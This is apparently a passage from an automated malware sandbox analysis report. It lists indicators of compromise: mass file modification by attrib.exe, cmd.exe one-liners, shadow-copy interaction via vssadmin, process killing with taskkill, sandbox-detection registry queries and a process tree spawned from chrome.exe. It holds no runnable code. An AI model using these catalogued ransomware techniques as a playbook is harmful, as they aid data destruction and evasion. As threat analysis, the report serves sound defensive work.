C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-white\SmallTile.scale-100_contrast-white.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_48.49.31001.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubBadgeLogo.scale-100_contrast-white.png attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\nl_get.svg attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sk-sk attrib.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hans\System.Windows.Forms.Design.resources.dll attrib.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pl\UIAutomationProvider.resources.dll attrib.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\pkcs11wrapper.md attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\FPA_f33 attrib.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\images\FilePdf32x32.png attrib.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\OutlookMailMediumTile.scale-200.png attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil_2x.png attrib.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it\UIAutomationTypes.resources.dll attrib.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\sspi_bridge.dll attrib.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Core.dll attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe\Assets\EdgeErrorIllustration.theme-light.png attrib.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Yahoo-Dark.scale-200.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Wallet_2.4.18324.0_x64__8wekyb3d8bbwe attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\sat_logo_2x.png attrib.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\tr\WindowsBase.resources.dll attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ExcelVL_MAK-pl.xrm-ms attrib.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteNewNoteMedTile.scale-100.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-white_targetsize-16_altform-unplated.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\Assets\GameBar_AppList.targetsize-256_altform-unplated.png attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\ui-strings.js attrib.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\vcruntime140_1.dll attrib.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\PenImc_cor3.dll attrib.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\calendars.properties attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033\osmdp64.msi attrib.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\ja\PresentationCore.resources.dll attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-32_altform-unplated_contrast-white.png attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugin.js attrib.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\WidevineCdm\manifest.json attrib.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\tt.pak attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OneNoteFreeR_Bypass-ppd.xrm-ms attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-256.png attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-tool-view.js attrib.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ja-jp attrib.exe File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\msdaorar.dll attrib.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Trust Protection Lists\Sigma\Advertising.DATA attrib.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\prefs_enclave_x64.dll attrib.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\dicjp.dll attrib.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\System.Windows.Controls.Ribbon.dll attrib.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019DemoR_BypassTrial180-ppd.xrm-ms attrib.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DWTRIG20.EXE attrib.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxGamingOverlay_2.34.28001.0_neutral_split.scale-125_8wekyb3d8bbwe\resources.pri attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookSmallTile.scale-100.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsSplashScreen.scale-100.png attrib.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\lt-LT\tipresx.dll.mui attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\Retail attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_2019.716.2316.0_neutral_~_8wekyb3d8bbwe\AppxMetadata attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsAppList.targetsize-30_altform-lightunplated.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\Images\LayersControl\Aerial.png attrib.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\resources.pri attrib.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-m..oolsclient.appxmain_31bf3856ad364e35_10.0.19041.1_none_75cd350cc8b5dbcf\slick.dataview.js attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-msident.resources_31bf3856ad364e35_10.0.19041.1_uk-ua_8e8e276dea9c7ee5\msident.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-peopleband.resources_31bf3856ad364e35_10.0.19041.1_fr-fr_65f37b2fbde46355\PeopleBand.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-smbserver_31bf3856ad364e35_10.0.19041.1_none_aee5f67c8a39040c\srvsvc.dll attrib.exe File opened for modification C:\Windows\Boot\DVD\PCAT\es-ES\bootfix.bin attrib.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Web.tlb attrib.exe File opened for modification C:\Windows\servicing\Packages\HyperV-Networking-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1288.mum attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-onecore-quiethours_31bf3856ad364e35_10.0.19041.153_none_86d74de194c9a7a4\QuietHours.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-AdamSyncConf.XML attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-ipxlatcfg.resources_31bf3856ad364e35_10.0.19041.1_fr-fr_1f47bdc521e5d87d\ipxlatcfg.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-w..e-utility.resources_31bf3856ad364e35_10.0.19041.1_es-es_b51990a060d3a05e\WMIC.exe.mui attrib.exe File opened for modification C:\Windows\diagnostics\system\Video\GraphicsDriverRegTool-Definitions.psm1 attrib.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.19041.1202_none_4132a4047d5d53b2\f\appvetwstreamingux.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.19041.1202_none_4132a4047d5d53b2\r\AppVScripting.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-t..mgmttools.resources_31bf3856ad364e35_10.0.19041.1_es-es_435cbda8df282435\TSPSEngine.resources.dll attrib.exe File opened for modification C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.SecureBoot.Commands.Resources\v4.0_10.0.0.0_ja_31bf3856ad364e35\Microsoft.SecureBoot.Commands.Resources.dll attrib.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\fr\System.Windows.Forms.resources.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-e..ckdownwmi.resources_31bf3856ad364e35_10.0.19041.1_es-es_82aa77e45eb503ce\AssignedAccessMsg.psd1 attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..ivebackup.resources_31bf3856ad364e35_10.0.19041.1_ja-jp_1127f192810f522c\SettingsHandlers_OneDriveBackup.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..u-education-license_31bf3856ad364e35_10.0.19041.1266_none_698b5e99f49a9026\r\Education-Volume-CSVLK-2-ul-store-rtm.xrm-ms attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-t..nputpersonalization_31bf3856ad364e35_10.0.19041.746_none_1da55dc225237a0d\TabIpsps.dll attrib.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Users\App_LocalResources\addUser.aspx.fr.resx attrib.exe File opened for modification C:\Windows\servicing\Packages\Microsoft-OneCore-Containers-merged-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\servicing\Packages\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\WinSxS\amd64_aspnet_compiler.resources_b03f5f7f11d50a3a_4.0.15805.0_it-it_54871a061f929752\aspnet_compiler.resources.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-dssec.resources_31bf3856ad364e35_10.0.19041.1_ja-jp_b1533cb7856e51bc\dssec.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-m..oolsclient.appxmain_31bf3856ad364e35_10.0.19041.1_none_75cd350cc8b5dbcf\pin.png attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-wpd-shellextension_31bf3856ad364e35_10.0.19041.1266_none_85eec0307bfb088e\wpdshext.dll attrib.exe File opened for modification C:\Windows\Microsoft.NET\assembly\GAC_MSIL\WindowsBase.resources\v4.0_4.0.0.0_ja_31bf3856ad364e35\WindowsBase.resources.dll attrib.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ASP.NETWebAdminFiles\Security\Roles\App_LocalResources\manageAllRoles.aspx.resx attrib.exe File opened for modification C:\Windows\WinSxS\amd64_hyperv-vmsynthstor_31bf3856ad364e35_10.0.19041.928_none_933d1de9c7825854\vmsynthstor.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-m..namespace-downlevel_31bf3856ad364e35_10.0.19041.1_none_7d55e8342077d456\api-ms-win-service-management-l1-1-0.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-m..osoftedge.resources_31bf3856ad364e35_10.0.19041.1_en-us_a323edc73bd86475\pdferrorrepurchasecontent.html attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-networkstatus_31bf3856ad364e35_10.0.19041.1_none_c9951542d071e30b\NetworkStatus.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-s..stack-termsrv-extra_31bf3856ad364e35_10.0.19041.1220_none_87932d8cf4e7c842\appserverai.dll attrib.exe File opened for modification C:\Windows\PolicyDefinitions\fr-FR\LanmanServer.adml attrib.exe File opened for modification C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\fr-FR\assets\ErrorPages\acr_error.htm attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-a..iagnostic.resources_31bf3856ad364e35_10.0.19041.1_uk-ua_f674ad8f99e465f8\DiagPackage.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-i..onal-keyboard-kbdus_31bf3856ad364e35_10.0.19041.546_none_5cab63307361e177\r\KBDUS.DLL attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-spinf_31bf3856ad364e35_10.0.19041.546_none_3b99ddbdd73c7491\r\spinf.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-wwan-provisioning_31bf3856ad364e35_10.0.19041.117_none_d0a8300bc5393e0a\r\CfgSPCellular.dll attrib.exe File opened for modification C:\Windows\schemas\EAPHost\baseeapmethodconfig.xsd attrib.exe File opened for modification C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\23\common\images\colorPicker attrib.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\pris\resources.es-ES.pri attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-kernel32.resources_31bf3856ad364e35_10.0.19041.117_en-us_1b3572f483fa94f6\f\kernel32.dll.mui attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-n..5linqcomp.resources_31bf3856ad364e35_10.0.19041.1_ja-jp_9cf71499f1e55cb2\System.Net.Resources.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-wpfcorecomp.resources_31bf3856ad364e35_10.0.19041.1_ja-jp_96d54dcaecf3b9ff\UIAutomationProvider.resources.dll attrib.exe File opened for modification C:\Windows\Media\Speech Disambiguation.wav attrib.exe File opened for modification C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\23\common\images\minimize.png attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-a..ement-configuration_31bf3856ad364e35_10.0.19041.746_none_4c68752067960280\AppManagementConfiguration.dll attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-i..pturepicker-desktop_31bf3856ad364e35_10.0.19041.964_none_825010b02627bbe8\f attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-management-oobe_31bf3856ad364e35_10.0.19041.207_none_504b6becabbef9fe\autopilotwhiteglovelanding-vm.js attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-w..iagnostic.resources_31bf3856ad364e35_10.0.19041.1_es-es_37bd9219f52ed9ea\DiagPackage.dll.mui attrib.exe File opened for modification C:\Windows\PolicyDefinitions\fr-FR\Display.adml attrib.exe File opened for modification C:\Windows\servicing\Packages\Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1081.mum attrib.exe File opened for modification C:\Windows\servicing\Packages\Microsoft-Windows-Identity-Foundation-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.mum attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-p..econsumer.resources_31bf3856ad364e35_10.0.19041.1_es-es_6b77f4dc3a1a5900\Rules.System.Summary.xml attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft-windows-p..g-fdprint.resources_31bf3856ad364e35_10.0.19041.1_en-us_253e726e29715f7b\resource.xml attrib.exe File opened for modification C:\Windows\WinSxS\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_5.82.19041.1_cs-cz_1dee5804823a393a\comctl32.dll.mui attrib.exe File opened for modification C:\Windows\assembly\GAC_MSIL\PresentationFramework.Resources\3.0.0.0_ja_31bf3856ad364e35\PresentationFramework.resources.dll attrib.exe File opened for modification C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Presentation.resources\v4.0_4.0.0.0_es_b77a5c561934e089 attrib.exe File opened for modification C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics.resources attrib.exe File opened for modification C:\Windows\servicing\Packages\Microsoft-Media-Foundation-WOW64-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat attrib.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6116 cmd.exe 5032 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5808 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Delays execution with timeout.exe 1 IoCs
pid Process 3396 timeout.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe - Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4396 vssadmin.exe - Kills process with taskkill 6 IoCs
pid Process 816 taskkill.exe 4296 taskkill.exe 1068 taskkill.exe 572 taskkill.exe 3836 taskkill.exe 680 taskkill.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302774721368665" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5156 chrome.exe 5156 chrome.exe 3352 powershell.exe 3352 powershell.exe 3352 powershell.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs
pid Process 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe Token: SeShutdownPrivilege 5156 chrome.exe Token: SeCreatePagefilePrivilege 5156 chrome.exe - Suspicious use of FindShellTrayWindow 46 IoCs
pid Process 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe 5156 chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5156 wrote to memory of 4660 5156 chrome.exe 87 PID 5156 wrote to memory of 5844 5156 chrome.exe 88 PID 5156 wrote to memory of 5844 5156 chrome.exe 88 PID 5156 wrote to memory of 5808 5156 chrome.exe 89 PID 5156 wrote to memory of 4552 5156 chrome.exe 90 PID 5156 wrote to memory of 4552 5156 chrome.exe 90 PID 5156 wrote to memory of 3564 5156 chrome.exe 92 PID 5156 wrote to memory of 1196 5156 chrome.exe 93 PID 5156 wrote to memory of 3564 5156 chrome.exe 92 PID 5156 wrote to memory of 1196 5156 chrome.exe 93 PID 5156 wrote to memory of 2700 5156 chrome.exe 94 PID 5156 wrote to memory of 2700 5156 chrome.exe 94 PID 5156 wrote to memory of 1788 5156 chrome.exe 95 PID 5156 wrote to memory of 1788 5156 chrome.exe 95 PID 5156 wrote to memory of 932 5156 chrome.exe 96 PID 5156 wrote to memory of 932 5156 chrome.exe 96 PID 5156 wrote to memory of 4192 5156 chrome.exe 97 PID 5156 wrote to memory of 4192 5156 chrome.exe 97 PID 5156 wrote to memory of 5296 5156 chrome.exe 100 PID 5156 wrote to memory of 5296 5156 chrome.exe 100 PID 5156 wrote to memory of 2424 5156 chrome.exe 101 PID 5156 wrote to memory of 2424 5156 chrome.exe 101 PID 5156 wrote to memory of 5492 5156 chrome.exe 102 PID 5156 wrote to memory of 3340 5156 chrome.exe 105 PID 5156 wrote to memory of 4716 5156 chrome.exe 106 PID 5156 wrote to memory of 4716 5156 chrome.exe 106 PID 5156 wrote to memory of 4704 5156 chrome.exe 107 PID 5156 wrote to memory of 4704 5156 chrome.exe 107 PID 5156 wrote to memory of 712 5156 chrome.exe 108 PID 5156 wrote to memory of 712 5156 chrome.exe 108 PID 5156 wrote to memory of 3528 5156 chrome.exe 109 PID 5156 wrote to memory of 3528 5156 chrome.exe 109 PID 5156 wrote to memory of 1072 5156 chrome.exe 110 PID 5156 wrote to memory of 1072 5156 chrome.exe 110 PID 5156 wrote to memory of 820 5156 chrome.exe 111 PID 5156 wrote to memory of 820 5156 chrome.exe 111 PID 5156 wrote to memory of 4384 5156 chrome.exe 112 PID 5156 wrote to memory of 4384 5156 chrome.exe 112 PID 5156 wrote to memory of 368 5156 chrome.exe 115 PID 5156 wrote to memory of 816 5156 chrome.exe 116 PID 5156 wrote to memory of 580 5156 chrome.exe 117 PID 5156 wrote to memory of 6116 5156 chrome.exe 121 PID 6116 wrote to memory of 3816 6116 cmd.exe 124 PID 3816 wrote to memory of 2064 3816 net.exe 125 PID 6116 wrote to memory of 3396 6116 cmd.exe 126 PID 6116 wrote to memory of 3352 6116 cmd.exe 129 PID 6116 wrote to memory of 4308 6116 cmd.exe 130 PID 6116 wrote to memory of 4396 6116 cmd.exe 131 PID 6116 wrote to memory of 4640 6116 cmd.exe 135 PID 6116 wrote to memory of 4372 6116 cmd.exe 137 PID 6116 wrote to memory of 5464 6116 cmd.exe 138 PID 6116 wrote to memory of 3400 6116 cmd.exe 139 PID 6116 wrote to memory of 4332 6116 cmd.exe 140 PID 6116 wrote to memory of 6040 6116 cmd.exe 142 PID 6116 wrote to memory of 1068 6116 cmd.exe 143 PID 6116 wrote to memory of 572 6116 cmd.exe 144 PID 6116 wrote to memory of 3836 6116 cmd.exe 145 PID 6116 wrote to memory of 680 6116 cmd.exe 146 